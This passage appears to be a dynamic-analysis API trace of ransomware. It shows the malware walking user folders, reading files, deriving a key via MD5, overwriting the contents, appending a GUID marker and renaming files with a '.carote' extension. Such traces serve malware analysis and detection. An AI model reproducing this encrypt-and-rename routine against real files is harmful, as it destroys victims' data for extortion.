dwFlags=0x0) returned 1 [0113.948] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa93d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.948] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.948] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.948] CloseHandle (hObject=0x61c) returned 1 [0113.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\WBXXykKnYyU.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\wbxxykknyyu.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UYaZ4DG0b_NROc5iB6tm\\DflAw\\Z9S-Lyrz1J9mVBffWgx3\\WBXXykKnYyU.avi.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uyaz4dg0b_nroc5ib6tm\\dflaw\\z9s-lyrz1j9mvbffwgx3\\wbxxykknyyu.avi.carote")) returned 1 [0113.951] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a093480, ftCreationTime.dwHighDateTime=0x1d4c77b, ftLastAccessTime.dwLowDateTime=0xcc1138f0, ftLastAccessTime.dwHighDateTime=0x1d4cf49, ftLastWriteTime.dwLowDateTime=0xcc1138f0, ftLastWriteTime.dwHighDateTime=0x1d4cf49, nFileSizeHigh=0x0, nFileSizeLow=0xa93d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WBXXykKnYyU.avi", cAlternateFileName="WBXXYK~1.AVI")) returned 0 [0113.951] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.951] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.951] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.951] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0113.951] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecd70 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.952] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.952] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.952] PathFindFileNameW (pszPath="") returned="" [0113.952] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0113.952] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.954] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0113.954] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.954] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd9b6a040, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9b6a040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xde963ca0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0xa5ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rdrmessage.zip", cAlternateFileName="RDRMES~1.ZIP")) returned 1 [0113.954] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0113.954] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.954] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0113.954] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip") returned=".zip" [0113.954] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.955] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=42495) returned 1 [0113.955] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.957] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa5d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.957] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.958] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.958] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0113.958] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.958] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xa5ff, lpOverlapped=0x0) returned 1 [0113.959] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.959] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0113.959] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.959] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.959] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0113.960] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.960] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.960] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.960] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.960] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.960] GetLastError () returned 0x0 [0113.960] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.960] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0113.960] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.960] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa600) returned 0x7b1c730 [0113.960] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.960] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.960] WriteFile (in: hFile=0x61c, lpBuffer=0x7b1c730*, nNumberOfBytesToWrite=0xa5fa, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b1c730*, lpNumberOfBytesWritten=0x825fb24*=0xa5fa, lpOverlapped=0x0) returned 1 [0113.960] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b1c730 | out: hHeap=0x5010000) returned 1 [0113.960] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa5ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.960] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.960] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0113.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.961] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14908 [0113.961] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.961] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.961] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14908*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14908*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.961] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.961] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.961] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.961] CloseHandle (hObject=0x61c) returned 1 [0113.962] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb0) returned 0x7b16520 [0113.962] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.962] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b16520 | out: hHeap=0x5010000) returned 1 [0113.962] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.carote")) returned 1 [0113.963] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.963] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.963] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.963] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xce824760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce824760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe5ab8070, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0113.963] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f780 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd6) returned 0x79bf538 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f780 | out: hHeap=0x5010000) returned 1 [0113.964] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\ReaderMessages") returned="" [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79bf538 | out: hHeap=0x5010000) returned 1 [0113.964] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35bc8 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x51097a0 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109e30 | out: hHeap=0x5010000) returned 1 [0113.964] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 0 [0113.964] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f818 | out: hHeap=0x5010000) returned 1 [0113.964] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0113.964] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.964] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.964] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.965] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.965] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.966] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.966] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109a40 [0113.967] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.967] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: 